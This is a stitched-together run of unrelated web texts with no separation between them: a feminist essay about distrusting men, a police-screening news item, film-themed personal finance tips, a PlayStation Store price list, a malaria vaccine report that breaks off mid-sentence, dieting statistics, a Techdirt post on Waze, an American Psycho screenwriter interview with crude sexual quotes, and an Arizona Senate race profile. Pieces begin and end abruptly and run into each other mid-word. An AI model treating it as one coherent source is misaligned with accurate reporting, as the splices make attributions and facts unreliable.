There is the unwillingness to listen, a ferociously stubborn not getting it on so many things, so many important things. And the obdurate refusal to believe, to internalize, that my outrage is not manufactured and my injure not make-believe—an inflexible rejection of the possibility that my pain is authentic, in favor of the consolatory belief that I am angry because I'm a feminist (rather than the truth: that I'm a feminist because I'm angry).
And there is the denial about engaging in misogyny, even when it's evident, even when it's pointed out gently, softly, indulgently, carefully, with goodwill and the presumption that it was not intentional. There is the firm, fixed, unyielding denial—because it is better and easier to imply that I'm stupid or crazy, that I have imagined being insulted by someone about whom I care (just for the fun of it!), than it is to just admit a bloody mistake. Rather I am implied to be a hysteric than to say, simply, I'm sorry.
Not every man does all of these things, or even most of them, and certainly not all the time. But it only takes one, randomly and occasionally, exploding in a shower of cartoon stars like an unexpected punch in the nose, to send me staggering sideways, wondering what just happened.
Well. I certainly didn't see that coming…
These things, they are not the habits of deliberately, connivingly cruel men. They are, in fact, the habits of the men in this world I love quite a lot.
All of whom have given me reason to mistrust them, to use my distrust as a self-protection mechanism, as an essential tool to get through every day, because I never know when I might next get knocked off-kilter with something that puts me in the position, once again, of choosing between my dignity and the serenity of our relationship.
Swallow shit, or ruin the entire afternoon?
It can come out of nowhere, and usually does. Which leaves me mistrustful by both necessity and design. Not fearful; just resigned—and on my guard. More vulnerability than that allows for the possibility of wounds that do not heal. Wounds to our relationship, the sort of irreparable damage that leaves one unable to look in the eye someone that you loved once upon a time.
This, then, is the terrible bargain we have regretfully struck: Men are allowed the easy comfort of their unexamined privilege, but my regard will always be shot through with a steely, anxious bolt of caution.
A shitty bargain all around, really. But there it is.
There are men who will read this post and think, huffily, dismissively, that a person of color could write a post very much like this one about white people, about me. That's absolutely right. So could a lesbian, a gay man, a bisexual, an asexual. So could a trans or intersex person (which hardly makes a comprehensive list). I'm okay with that. I don't feel hated. I feel mistrusted—and I understand it; I respect it. It means, for me, I must be vigilant, must make myself trustworthy. Every day.
I hope those men will hear me when I say, again, I do not hate you. I mistrust you. You can tell yourselves that's a problem with me, some inherent flaw, some evidence that I am fucked up and broken and weird; you can choose to believe that the women in your lives are nothing like me.
Or you can be vigilant, can make yourselves trustworthy. Every day.
Just in case they're more like me than you think.
[Trigger warning.]Despite feminists' reputation, and contra my own individual reputation cultivated over five years of public opinion-making, I am not a man-hater.If I played by misogynists' rules, specifically the one that dictates it only takes one woman doing one Mean or Duplicitous or Disrespectful or Unlawful or otherwise Bad Thing to justify hatred of all women, I would have plenty of justification for hating men, if I were inclined to do that sort of thing.Most of my threatening hate mail comes from men. The most unrelentingly trouble-making trolls have always been men. I've been cat-called and cow-called from moving vehicles countless times, and subjected to other forms of street harassment, and sexually harassed at work, always by men. I have been sexually assaulted—if one includes rape, attempted rape, unsolicited touching of breasts, buttocks, and/or genitals, nonconsensual frottage on public transportation, and flashing—by dozens of people during my lifetime, some known to me, some strangers, all men.But I don't hate men, because I play by different rules. In fact, there are men in this world whom I love quite a lot.There are also individual men in this world I would say I probably hate, or something close, men who I hold in unfathomable contempt, but it is not because they are men.No, I don't hate men.It would, however, be fair to say that I don't easily trust them.The city of Minneapolis may fire its police psychology evaluator because his tests screened out too many minority candidates, despite already lowering psych evaluations far below the national standard.
The July police shooting of Justine Damond triggered the city to scrutinize its psychological standards for police, with many claiming they’d become lax. Psychiatrist Thomas Gratzer has run psych testing for the Minneapolis police for the past five years, and in that time, he has eliminated four of the five tests used to determine whether a candidate is fit to be an officer, APM reported Thursday. Now, Gratzer is facing firing not for gutting his standard, but for screening out too many minorities.
Mohamed Noor, the officer who shot Damond, is Somali and was one of 200 cops approved by Gratzer’s standards over the past five years, which were already far below the national standard.
Minneapolis used a more standard five-test procedure up until 2012, and according to a 2004 federal study, those tests worked. The study found that the officers flagged as concerning by the tests were three times more likely to engage in misconduct, APM reported.
{snip}
Original Article
Share ThisIf you’re a fan of money, chances are you’re a fan of the 1987 Oliver Stone classic, Wall Street. Even more, you’ve probably already purchased your movie ticket in advance for the upcoming sequel, Wall Street: Money Never Sleeps. The original film is now considered a classic, not just for entertaining moviegoers, but also the way it which it influenced an entire generation’s attitude toward investing money; “Greed… is good,” the much-referenced quote goes.
Ironically, Stone’s desired message for the film was the exact opposite. Perhaps he underestimated the effect Michael Douglas had with his Academy Award-winning performance as ruthless financier Gordon Gekko.
After the recent economic meltdown created an uproar against Wall Street (not the movie, the actual financial establishments as a collective institution) and greed, an opportunity was presented for Stone to reunite with Douglas, reprising his role as Gekko, to rail against bankers and evil investment firms.
So while you’re busy munching away at your popcorn and watching Shia Labeouf run around doing Shia Labeouf things, don’t forget that along with an intriguing storyline about ambition, murder and revenge, you’re also getting a personal finance education from the Gekko, himself. That’s something you can’t put a price on, mainly because the movie theater already did.
Without further ado, here are five lessons you can learn about personal finance, taken from quotes in the movie’s trailer.
1. Money Never Sleeps
Quote: “Money never sleeps pal. I just made $800,000 in Hong Kong gold. It’s been wired to you–play with it. You done good, but you gotta keep doing good. I showed you how the game works, now school’s out.”
Lesson: This line was first uttered by Gekko in the original Wall Street when teaching his protege, Bud Fox (Charlie Sheen), how to become rich.
It’s true, though. Money never sleeps. While you go to bed every night, your money is working either for you in an investment or against you on a loan earning interest or some kind of return.
The quote is especially true if you’re sophisticated enough to invest in foreign markets, because people are actually awake over there when you’re usually sleeping.
2. Time Is Money
Quote: “If there’s one thing I learned in prison, it’s that money is not the prime commodity in our lives…time is.”
Lesson: Gekko advises what seems to be his new apprentice and potential son-in-law, Jacob Moore (LaBeouf). You’ve heard the adage that time is money and in this case it’s no different.
Gekko served 23 years in jail after the events of the first film because Fox snitched on him to the Securities and Exchange Commission. If money never sleeps, imagine how much money Gekko lost out on while behind bars for over two decades. Whether it’s you or your money, every idle second is money and opportunity lost.
3. Greed is Legal, Maybe Not So Good
Quote: “Someone reminded me I once said greed is good. Now, it seems it’s legal.”
Lesson: Yet another quote from Gekko. Everyone remembers the original greed speech. It defined an entire decade on Wall Street, and is still just as relevant today.
Well, sorry to break it to you, Gordon, but greed has always been legal. Can you imagine the slippery slope lawmakers would have to deal with trying to outlaw greed?
But while it is legal, the things that it drives people to do may not be. For example, running a ponzi scheme like Bernie Madoff did, or committing financial fraud like what the SEC accused Goldman Sachs of doing.
4. Manage Calculated Risks
Quote: “If it weren’t for people who took risks, where would we be in this world?”
Lesson: Similar to Bud Fox, Jacob Moore, the sequel’s protagonist, is a young and ambitious Wall Street neophyte. This quote offers a snapshot of the type of person he is.
Moore understands that with risk comes reward. Of course, there also comes consequences. Investors need to understand this, too. In order to achieve an attractive return, you have to accept a certain level of risk. There’s a reason most people can’t retire on savings account interest alone. How much risk you’re willing to tolerate, however, is entirely up to you.
5. Have A Plan
Quote: “When you don’t know what you’re doing, it’s fatal, Mr. Moore.”
Lesson: This quote is from the films main antagonist, Bretton James (James Brolin). James runs an investment firm similar to that of the real life Goldman Sachs. In this scene, it’s safe to assume he’s threatening someone’s life.
However, if you apply the basic idea to personal finance, it’s actually very sage advice. You should always know what you’re doing with your money, and in turn, know what you’re actually investing in.
If you don’t understand the investment–be it a stock, bond, mutual fund, commodity, etc.–you should study up on it and know exactly what your money is funding or not invest in it at all. The internet is loaded with free investment tools for this purpose.
Being that the economy is still trying to recover from the recent recession and failure of our entire financial infrastructure, it’s safe to say the public’s attention is still focused on Wall Street. Mix in some nasty banker villains, and Money Never Sleeps may actually make finance seem like a lot of fun. Just don’t forget the important financial lessons you could pick up along the way.
What do you think of Gordon Gekko? Are you going to see Wall Street: Money Never Sleeps?Plus, discounts on Strider, FIFA, Knack and Killzone Shadow Fall
In Wolfenstein: The New Order, assume the role of super soldier B.J. Blazkowicz as he uses elite combat tactics and an arsenal of über advanced weaponry to take down the most powerful empire the world has ever known.
From the creators of Bastion comes the exquisite looking Transistor – a sci-fi themed action RPG that invites you to wield an extraordinary weapon of unknown origin as you fight through a stunning futuristic city.
Also available this week is RPG Drakengard 3, Cross-Buy PS4/PS Vita puzzler Sparkle 2 and price drops on Killzone Shadow Fall and Knack! See below for the full roundup of content.
PlayStation 4
Sparkle 2 (Cross-Buy PS4/PS Vita)
Price: £5.99/€6.99/AU$10.05
PEGI:3
Transistor
Price: £14.99/€18.99/AU$27.95
PEGI:12
Wolfenstein: The New Order (PS4)
Price: £49.99/€69.99/AU$99.95
PEGI:18
Not available in Israel
PlayStation 3
Drakengard 3
Price: £39.99/€49.99/AU$73.95
PEGI:18
Not available in Russia
Mugen Souls Z (available 23rd May)
Price: £39.99/€49.99/AU$69.95
PEGI:16
Ratchet & Clank: A Crack in Time
Price: £10.99/€14.99/AU$17.95
PEGI:7
R-Type Dimensions
Price: £7.99/€9.99/AU$14.45
PEGI:7
Wolfenstein: The New Order (PS3)
Price: £39.99/€59.99/AU$79.95
PEGI:18
Not available in Israel
PlayStation Vita
Sparkle 2 (Cross-Buy PS4/PS Vita)
Price: £5.99/€6.99/AU$10.05
PEGI:3
PlayStation Mobile
Origami Kami (£0.99/€1.29/AU$2.25)
PS4 DLC
Call of Duty: Ghosts (22nd May)
Classic Ghost Pack (£1.69/€1.99/AU$2.95)
Hex Pack (£1.69/€1.99/AU$2.95)
Legend Pack – Soap (£3.49/€3.99/AU$4.95)
Snoop Dogg VO Pack (£2.49/€2.99/AU$4.45)
Squad Pack – Extinction (£2.49/€2.99/AU$4.45)
PS3 DLC
Call of Duty: Ghosts (22nd May)
Classic Ghost Pack (£1.69/€1.99/AU$2.95)
Hex Pack (£1.69/€1.99/AU$2.95)
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Toukiden – Additional Missions 7, 8, 9, 10, 11 – Now available in RussiaJoseph Okanga/Reuters
A malaria vaccine that has disappointed in clinical trials stumbled in part because it mimics a strain of parasite that is not commonly found in Africa, according to a study published on 21 October in the New England Journal of Medicine (NEJM)1.
The finding appears in the week that an advisory committee for the World Health Organization (WHO) will say whether they recommend the malaria vaccine, known as RTS,S, for use, despite its modest performance. That pivotal decision is being closely watched by the London-based drug firm GlaxoSmithKline (GSK) and the Bill & Melinda Gates Foundation in Seattle, Washington, who have together ploughed US$565 million into the vaccine’s development over 28 years.
The NEJM work suggests the vaccine would be more effective if it were re-engineered to match several malaria parasite strains. Although that would be welcome, says Joe Cohen, a molecular biologist who has worked with GSK on the vaccine since its inception in 1987, it would effectively create a new vaccine which would take "10 to 15 years to develop". During that time, he adds, hundreds of children will die of malaria every day. Instead, Cohen is focused on impending decisions about the tried and tested vaccine in hand. “I am waiting impatiently,” he says.
Mismatched protein
A key component of the RTS,S vaccine is a fragment of a protein found on the surface of the malaria parasite Plasmodium falciparum, called the circumsporozoite (CS) protein. People injected with the vaccine mount an immune response against its CS protein, which equips them later to fend off parasites if bitten by an infected mosquito.
But different parasites have slightly different CS proteins, and researchers who first made RTS,S-like vaccines nearly three decades ago did not have the tools to measure the extent of this variation, or its consequences for their vaccine. The latest study uses next-generation DNA sequencing to analyse parasites infecting nearly 5,000 children and infants who took part in GSK’s clinical trials in sub-Saharan Africa. Fewer than 10% of those parasites had a CS protein that matched the sequence used in the RTS,S vaccine, they found.
The vaccine warded off some malaria cases in people with a mismatched copy, but worked much better in children with an exact copy. “If it had been a perfect match, the efficacy of the vaccine over a year could have been at least 50% higher,” says Dyann Wirth, an infectious-disease researcher at the Harvard School of Public Health in Boston, Massachusetts, who led the work. Wirth suggests developing an RTS,S vaccine that includes bits of several types of CS protein. David Kaslow, who oversees the vaccine’s development at the non-profit health organization PATH, says that he and his colleagues have discussed the approach. “It’s not trivial to tweak the vaccine to match the prevalent strains in an area,” he says, “but it’s not impossible.”
Poor performance
Any improvement would be welcome. A report published2 in January on trials in more than 15,000 children, followed for up to four years in seven countries in sub-Saharan Africa, found that a series of four |
. In 2012, NPD estimates that 34 million adults were on a diet during the holidays.
“But during the first two weeks of January, our data suggests that number jumps 47 percent to 50 million adults now on a diet,” said Balzer, national expert on food and diet trends. “There will always be adults who make dieting a lifestyle. Twenty-seven percent of all dieters in 2012 followed a diet for more than a year, which is up from 22 percent in 2004. I hope they are not still losing weight and perhaps being on a permanent diet is a lifestyle choice,” said Balzer.
Harry is available to comment on what’s behind the numbers and what’s happening on the eating and dieting scene. Harry appears regularly on radio and Television and in print.
The NPD Group collects dieting information through two separate research services:
Dieting Monitor
The Dieting Monitor tracks consumers’ awareness of and participation in branded diet types. The Dieting Monitor also tracks consumers' label reading behavior as well as concerns over intake of food components, such as carbohydrates, trans fats, sugars, etc. Reported changes in consumption of numerous foods are also tracked along with attitudes on health-related issues. These data are based on a U.S.-representative group of approximately 1,000 adults (18 and older) per survey period.Miami Cops Flood Waze With Bogus Speed Trap Data, Don't Understand How Crowd Sourcing Works
from the you-think-you're-being-clever dept
"Hundreds of officers in the Miami area have downloaded the app, which lets users provide real-time traffic information and identify areas where police are conducting speed enforcement. The local NBC affiliate says the officers are flooding Waze with false information on their activity in an attempt to make the app's information less useful to drivers. Disclosing the location of police officers "puts us at risk, puts the public at risk, because it's going to cause more deadly encounters between law enforcement and suspects," Sgt. Javier Ortiz, president of the Miami Fraternal Order of Police, tells the news outlet."
We've been discussing how law enforcement organizations have started ramping up their war on the Google-owned, traffic info crowdsourcing app, Waze, in the belief that it's hindering local revenue generation. More specifically, they've been trying to stop the app and its users from reporting police speed trap locations, going so far as to make the absurd argument that the app allows citizens to become police "stalkers." Of course as noted previously, these officers are usually in plain sight and obviously marked, meaning if you really had an insane hankering to annoy a cop you can certainly do itan app. It's also worth reminding officers that Waze users are simply having a perfectly legal conversation (just like flashing headlights or even holding up signs is legal), at least for now.With the "mean old citizens are stalking us" defense apparently not working so well, some law enforcement agencies are turning to another, more clever (or so they think) solution: pollute Waze's data with false police speed trap locations. Officers in Miami have apparently taken to downloading the Waze app themselves just so they can flood the app with inaccurate data This was apparently something some Los Angeles homeowners tried as well late last year, when they reported false congestion to the app in the hopes of lessening local traffic load. Of course the very nature of crowd-sourced apps like this involves repeated false reports and unreliable users being weeded out not only by the system itself, but by more trustworthy reports from reliable Waze users with higher scores. Even if this dumb idea worked, and all Miami Waze users were confused into thinking speed traps were, wouldn't they drive slower and ruin revenue generation (what this isabout) anyway?All the Miami police force is doing is wasting time and taxpayer money in a war on perfectly legal conversation. In fact, you could argue they're doing something worse by eroding their own safety. As it stands the Waze app isn't specifically singling out speed traps -- it allows users to markpolice location. As in, it allows users to mark any emergency vehicle at the side of the road for any reason, notifying Waze users that they should slow down. If this was truly about public safety and not revenue generation, you'd think this would at least be part of the conversation.Still, law enforcement associations are increasing pressure on politicians (like Chuck Schumer ), and Google's shown at least some flexibility on this. For me personally, it's all kind of a moot point anyway. I drove from New York to Seattle and back again last summer and found that police move positions so frequently, Waze probably indicated an accurate speed trap location around a third of the time anyway. Still, you'd hate to see any app made less useful just because it hurts a police department's ability to turn public protection into a major revenue stream.
Filed Under: crowdsourcing, fake data, miami, police, waze
Companies: google, wazeScreenwriter Guinevere Turner transformed one of the most controversial books of all time into an intentional declaration of feminism
Text Trey Taylor
When Christian Bale peeled back his herb-mint face mask to reveal his chainsaw-wielding proclivities as a serial killer in Mary Harron's American Psycho, America froze. It certainly was not a feminist comedy that the naysayers and boycotters had expected. When the novel first came out in 1991, an endless torrent of death threats were sent to smite its author, Bret Easton Ellis. "Mr. Ellis is a confused, sick young man with a deep hatred of women who will do anything for a fast buck," said Tammy Bruce, then-president of the Los Angeles Chapter of the National Organizaton for Women. Writer/actor/director Guinevere Turner had the formidable task of taking one of the most controversial novels of all time – replete with grisly scenes including one of a rat entering a woman's downstairs to eat out her insides ("I remember reading that and thinking, ‘Fuck you Bret Ellis, that’s never gonna get out of my vision!'") – and distilling it into a quasi-thriller-satire which traded stock in laughter rather than blood-letting. "It's just as well a woman directed American Psycho," wrote Roger Ebert of Harron in his review of the film. "She's transformed a novel about blood lust into a movie about men's vanity." Buffing out the sharper edges for Turner's screenplay wasn't the only hurdle in getting American Psycho to the screen. Draft after draft of the screenplay was written – including an early draft by Ellis himself which ended in a musical number – before Lionsgate awarded the project to Mary Harron, all before being sniped away when it was surprisingly announced that Leonardo DiCaprio (fresh off the boat from Titanic) was set to star, Oliver Stone to direct. Ewan McGregor was also attached at one point to play Bateman, but all wrongs were eventually righted and this vehicle finally roared to life with Christian Bale in the lead as a sinister Wall Street banker slash serial killer. After all this time, Guinevere Turner is fascinated by Psycho's lasting legacy. She still gets fans coming up to her to quote their favourite scene ("I’ve had men recite lots of things from that movie but they love to recite the beauty routine to me"). Here, Turner charts its marathon to the screen and looks back at how this murderous masterpiece found its legs in feminist territory.
THE GIFT THAT KEEPS ON GIVING "American Psycho is the gift that keeps on giving. Literally, it’s been 14 years since that movie was in theatres and new generations are discovering it – Kanye did a video that was a spoof of it and Huey Lewis did a spoof of a scene. There’s a British jeans company that did this elaborate commercial that was a hilarious spoof of it; it’s kind of just amazing. But, anyway, I got into screen writing with my first film Go Fish, and it was really just because I wanted to make a lesbian movie."
NONSTOP NIGHTMARES "I knew one thing I was getting myself into was having nightmares, and Mary (Harron) did too. We went away together to really focus on the book and just read passages to each other and decide what we thought should be in the movie and what sort of movie it should be, and we would just wake up every morning and say, ‘So what part of the book did you have a nightmare about?’ (laughs)."
SPRING BREAKERS "We went to Rosarito Beach in Baja California – which we did not know was a total party town – the next town over from Tijuana, Mexico. So we thought we were going to some idyllic, quiet Mexican town but every time we went out there were these total frat boys and American college students partying. And we did a fun thing: we had actors that we know come down and visit us and read passages to us – because there’s just great dialogue in the book – so we could hear what that would sound like and what worked; that was a really fun part of the process. Reg Rogers came down. He was in a bunch of movies in the 90s. I think Bill Sage came, and you know Bill was in the movie. It’s all a bunch of 80s film actors that had been in Mary’s previous films."
“We found out because it was announced in Variety that (Leonardo DiCaprio) had been offered like 25 million and I was like, ‘My god!’ Twenty five million dollars is about five times the budget of the entire movie itself as we imagined it” – Guinevere Turner
A TITANIC HOODWINK "The biggest (upset) was that we already had cast Christian (Bale). We were so excited about how amazing he was because he wasn’t already super famous. It was important to have someone who really could blend in because of the way the story works. Then all of a sudden Leonardo DiCaprio was playing the role right after coming off Titanic. We found out because it was announced in Variety that he’d been offered like 25 million and I was like, 'My god!' Twenty five million dollars is about five times the budget of the entire movie itself as we imagined it. Mary still had the option to direct it but she said, ‘I don’t want to direct a movie that has the biggest movie star in the world. It just means that there’s going to be a team of people around telling me what I can and can’t do and that’s not the movie I want to make.' Then Oliver Stone was going to direct it starring Leonardo DiCaprio and we were bummed! We were working really hard on it and were really excited about how great it was going to be and it was going to be our script. Then, legend has it that Gloria Steinem – the mother of all feminism – talked Leonardo DiCaprio out of being in the movie. She said, ‘Please, please don’t do this to those girls. The eyes of all 13-year-old girls are upon you and you can’t play a guy that tortures and kills women.' So he backed out and then Oliver Stone backed out and it came back to Mary, ironically. Gloria ended up being Christian Bale’s stepmother – she married his father."
THE BRET PACK
"We were sure that Bret just wanted the movie to get made after years of trying. The fact that we were going to do it and do it well would make him happy, and we all hung out. We were friends back then, socialising together. Bret was my date for the premiere in New York. He was very much excited to be moving forward and to have this amazing actor playing the lead and Mary’s a talented director, so of late it seems he's been meaner about the movie. He’s said meaner things in the press about it but at the time I think he liked it. He wrote a review of it for Details magazine and he said the only thing he really didn’t like was that after Christian kills Paul Allen (Jared Leto) with an axe, he moonwalked. That wasn’t in the script but Christian did it on set and we thought it was funny and liked it, but Bret didn’t – he thought it was over the top. I think it’s hilarious."
WHY YOU GOTTA BE SO MEAN? "He probably has heard one too many times that the movie is better than the book. That would piss me off because the movie and the book are two different things, so I think now – a little on the heels of his film The Canyons being so horribly reviewed in the press – he's just feeling like, ‘Why won’t this American Psycho thing die? Let’s all move on.’ I mean, can you imagine you write a book and then everybody keeps talking about how the movie is better? The book was still huge at the time even though a lot of its hugeness was controversy. There’s probably a level of tension around if you did something in 1987 and people are still talking about it; that’s probably annoying if you’ve done a bunch of other stuff and other books and made a movie, you know what I mean? He’s probably just over the whole thing at this point."
THE BUSINESS CARD SCENE "It’s the pinnacle of a scene in which you see that Patrick Bateman is upset while he’s killing people and mutilating them, what he really cares about is the font on a business card. Then it goes into him completely falling apart. What’s amazing on that scene too is there’s a line where the person next to him says, ‘Patrick, you’re sweating’. The thing is Christian Bale is such an amazing actor he really was sweating, he can make himself break into a tiny sweat. It’s just incredible."
REMOVE THE HOLE FOR AN 'R' RATING "What I recall is that there’s a line that I wrote that says, ‘Don’t just stare at her asshole, eat it’ (laughs). The ratings board wanted me to take out the word 'hole' so it just says 'ass' and suddenly that made it better. There’s a really funny process that happened where the distributor gives you every word that would make it not ready for television and then you have to give several options so, this is a bad example but instead of 'fuck' somebody would say 'fudge'. That part would just crack us up because the difference between 'fuck' and 'fudge' and 'hell' and 'heck' – it’s just ridiculous and makes it into a totally different comedy. Whatever, we got our 'R' rating."In person, Kelli Ward is polished.
On a recent Wednesday evening, I watched as Ward, an osteopathic physician and insurgent Republican challenger for Jeff Flake’s Senate seat in Arizona, schmoozed with local Republicans at a meeting in Paradise Valley, Arizona, a small town with a few golf courses northeast of Phoenix. She wore a crisp-lined blue dress, her hair pulled neatly back in a chignon ponytail, and when we sat down on a cafeteria bench to talk, it struck me how well she smiled out her answers to my questions about whether she was too fringe to win a GOP primary.
Polished might not be what you’d expect from Ward if you first heard about her, as many outside Arizona did, in an ad from the Mitch McConnell–allied Senate Leadership Fund PAC that labeled her “Chemtrail Kelli,” a nickname spun out of an incident at a Ward town hall where she didn’t shoot down constituent concerns about the chemtrails conspiracy theory. That the ad even showed up a full year before the primary is a sign that establishment Republicans are worried Ward could muck things up for them. The spot featured a lot of zoomed-in shots of Ward’s eyes widening, and ended, in case you missed the not-so-subtle visual tells, with the tagline, “Not conservative. Just crazy ideas.” Ward might’ve been onto something when she called out attacks against her as flavored with a particular kind of sexism reserved for conservative women: “I don’t see that happening with liberal women, progressive women; I don’t see those caricatures being created by people in their own party or people on the other side of the aisle,” she told me.
But Ward has done a fair amount on her own to enable the out-there reputation she’s acquired. While the Washington Post Fact Checker column did give the “Chemtrail Kelli” ad three Pinocchios (something Ward is quick to point out), she didn’t denounce the chemtrails conspiracy theory until a 2015 interview with Politico. She’s also said that John McCain, recently diagnosed with brain cancer, should resign from office and that she should be considered as a replacement. These sorts of ghoulish comments don’t sit well with many, particularly in the Arizona Republican establishment, where McCain, a Vietnam War hero, is revered.
“I’ve heard her say very mainstream kind of things, talk about what families need, what families are worried about,” Mike Broomhead, a conservative Phoenix area radio host, told me. “But then it always kinda rolls into those catchphrases of ‘globalists’ and ‘the new world order,’ and it’s that phraseology where most people’s eyes kinda glaze over.”
Immigration is where Ward’s campaign aims to distinguish itself from Flake, and Ward has received the endorsements of Sean Hannity and Laura Ingraham, as well as an encouraging tweet from one Donald J. Trump. “He’s an open-borders, amnesty globalist,” Ward said to me about Flake. “Whereas I am a build-the-wall, stop-illegal-immigration Americanist.”
The Senate primary in Arizona is still a year away, but the race has captured more than its share of attention; the Washington Post called it a “proxy war” between the president and the GOP establishment. The theory goes that a Ward win would be an assertion of Trump’s power against the establishment, another notch in the belt for the Trumpification of the party — more economic nationalism and an anti-immigrant bent. That this win could come in the home state of conservative legend Barry Goldwater is something like poetic irony.
Those in the Arizona Republican establishment scoff at this notion, noting that primaries in the state have often entertained an antiestablishment element — the state has a long tradition of populism and libertarianism. Arizona is being Arizona, the establishment argues, and the rest of the country needs to stop projecting its anxieties onto the state.
But Ward is betting that something in Arizona has shifted, that the rise of Trump has emboldened an antiestablishment message and will allow her to wrest Flake’s seat from him. She thinks she’s being discounted by the same forces who didn’t see Trump coming, and that the GOP establishment is in for another rude awakening. “I think I have the heart and soul of the Republican Party,” she told me.
In this particular political moment, could Kelli Ward be right?
The home of the Grand Canyon and the former “tuberculosis capital of the United States,” Arizona has long attracted people from other places looking for wide-open spaces, dry air, and good views. “Who you become isn’t as dependent upon where you came from as it is elsewhere,” Robert Robb, conservative political columnist for the Arizona Republic, told me. This Western sensibility of self-invention accounts in part for the more libertarian flavor of the state. The people attracted to Arizona, Robb said, often have “an instinctive distrust of bigness — big government, big business, big unions.”
That’s echoed in some voters’ distrust of big political party operations in the state, something Arizonans have seen in past election cycles. “I’d say 40 percent of Republican primary voters will not support anyone named John McCain or Jeff Flake,” Ryan O’Daniel, McCain’s 2016 campaign manager, told me. “You could put anybody else, anything else on that ballot and they’re automatically locked into their vote.” Ward ran against McCain in the 2016 primary and lost after garnering nearly 40 percent of the vote to McCain’s 51 percent. It wasn’t the first time the senior senator faced a tough primary challenge, either. In 2010, McCain ran against former congressman and radio host J.D. Hayworth in the primaries. McCain prevailed 56 percent to 32 percent.
But 2017 is not 2010. Trump is popular among Arizona Republicans and Flake has been struggling with his approval rating. (Which is why the book Flake recently wrote that takes Trump to task may not have been the best political move.) Morning Consult found in July that Flake has an approval rating of only 37 percent. While there isn’t a lot of good primary voter polling out for a race that’s still a year away, a recent survey released by the Republican firm HighGround Public Affairs found that 42.5 percent of likely Republican primary voters would vote for Ward, 28.2 percent for Flake, and 24.2 percent are undecided or didn’t want to give an answer. Democratic polling firm GBA Strategies found Ward outpacing Flake 58 percent to 31 percent.
The numbers aren’t good for Flake, but there’s some reason to remain skeptical that Ward’s strength in early polls will continue and translate to an eventual win. “I can’t tell if it’s an actual shift in the party or if it’s a honeymoon phase,” one former Arizona GOP official told me of Ward’s numbers. What will take place over the next year is likely to be something of a battle between Flake’s traditional Republican campaign and Ward’s attempt to capture the country’s recent yearning for outsiders. Expect the Donald Trump playbook without Donald Trump.
That there’s a high percentage of undecided voters in the primary pool makes sense, since most people don’t tune in to a race until a few weeks before voting. And some Arizona politicos I spoke to think that’s a good thing for Flake, that there’s still time to shape the race — the “Chemtrail Kelli” ad from the Senate Leadership Fund made it clear that Mitch McConnell is out to protect his own from Trumpian challengers in 2018. Ward has the votes of involved right-wing voters locked in, Broomhead told me. What she should do for the next year, he said, is reach out to a different kind of voter.
“She’s got to get into the houses of Republican voters and not just the staunch Republicans that are there year-round,” he said. “Instead of going to tea party meetings, she should be going to the rotary club.”
But Ward’s new strategist Eric Beach thinks otherwise. “She doesn’t start this election as an insurgent. Frankly, she starts it as a front-runner,” he said. Beach and Brent Lowder, both experienced political operatives, recently took over Ward’s campaign from a former Breitbart staffer. “They’ve really just stepped up the professionalism and stepped up the reach that we have,” Ward told me. Beach said the Ward campaign would be reliant on the kind of donors that his and Lowder’s pro-Trump super PAC, Great America PAC, courted during the 2016 cycle.
“The biggest disappointment for our donors is that we haven’t captured these low-propensity, first-time voters,” Beach said. “There were millions of new people [brought] into the Republican process and now we’re saying, ‘Well, you’re not good enough to be in this party.’” The Arizona Senate primary, Beach said, “is a national race when it comes to money.” Trump donors are watching Ward closely. “I think they see this as an opportunity, as a battle for the soul of the Republican Party.”
Ward has certainly gotten national attention, particularly from the president, but when Trump came to Phoenix last month, reports indicated that Ward wasn’t welcomed into the VIP section at the rally. That has led to speculation that the president might still be holding out hope that another Flake challenger will get into the race.
While the Republican base might be moving toward an embrace of Trump’s nationalist policies, there’s a worry among Arizona Republicans, even ones who think it’s time for Flake to go, that Ward could defeat the sitting senator in a primary and go on to lose to a Democrat in the general. No Democrat has won statewide office since 2008, but Rep. Kyrsten Sinema, the likely Democratic challenger, is a moderate who many Republicans worry could do well in the red state. A Republican candidate who’s perceived as being beyond the pale could potentially send Arizona down a dangerous purple-tinged path, they reason.
Which is where someone like Robert Graham comes in. Arizona’s former GOP chairman is an oft-buzzed-about potential challenger to Flake along with state treasurer Jeff DeWit. Over teriyaki bowls at Yoshi’s, in one of Phoenix’s many strip malls, Graham told me that some donors in the state have been vocal to him about their distaste for Ward.
“[Businessman Don] Tapia called me one day and said, ‘If you or DeWit don’t get in the race, it’s your fault if we lose the Senate seat,’ and he hung up,” Graham told me. (Tapia did not respond to a request for comment.) In Graham’s view, Flake has lost touch with the party’s base, but Graham also isn’t sure if he himself is ready to run for statewide office (he’s never done so) and then need to spend half his time in D.C. (He and his wife have six children, the youngest of whom is 6.) Being governor, Graham said, seems more up his alley. At 45, he’s young, a Mormon, and has the square jaw and haircut of a Midwestern football coach, though he actually does jiu-jitsu and was dressed casually in jeans and an “Enjoy Choke” t-shirt, a reference to the sport.
While he seems unlikely to run, Graham might actually be closer to a personification of what the Republican Party has become than Ward or even Trump. “He did what I didn’t think was possible,” Broomhead told me of Graham’s tenure as the state’s GOP chair. “He got that very vocal right wing to work with and support establishment Republicans.”
Graham’s family has a long history in Republican politics — he had an uncle who was a national committeeman for Goldwater and Nixon — but he’s become a close Trump ally, writing white papers on trade policy for the campaign and welcoming the president to Phoenix with a speech at his rally. Graham himself pushes a warmer, fuzzier version of Trumpism. He said he wished the president would do more to display in public what Graham describes as Trump’s more humble, private demeanor, and talked about healing rifts with local Muslim GOP members after Trump’s Muslim-ban comments during the campaign.
More than anything, it seems like Graham is biding his time, watching how the Ward/Flake dynamics play out and taking note of the mood of the state, a proverbial man without a country for the moment. But politics is like jiu-jitsu, Graham told me. It’s a grappling sport, not a striking one — you try to move someone into just the right position, just the right spot. And then:
“You just leave it open enough so they stick their head in it, and then you choke them.”
Arizona has of late been seen as a state where Democrats could one day be competitive. That’s largely because of its demographics — the state is 31 percent Latino, and Hillary Clinton made a serious bid for the state in 2016, hoping to turn out an anti-Trump Latino vote. There’s a real fear for some in the state GOP that if candidates like Ward win primaries, it could hurt the party’s general election chances.
But primaries come first, and a growing hard-right contingent in the Republican Party is a more immediate challenge for establishment Republicans. The more divisive issues motivating some Republican voters — like immigration and guns — aren’t always what GOP leaders want to tackle, something I heard at the same Paradise Valley GOP meeting where I met Ward.
“I don’t want our meetings to be consumed by gun control talk,” Dave Ryan, the GOP chair of Legislative District 15 told me. “We’ve already got a very conservative set of policies here in Arizona — we have to be judicious in where we spend our time.” Ryan hoped to push education policy as an issue to the assembled gathering the evening I was there, to focus on something local rather than the sorts of federal-level issues discussed on cable news.
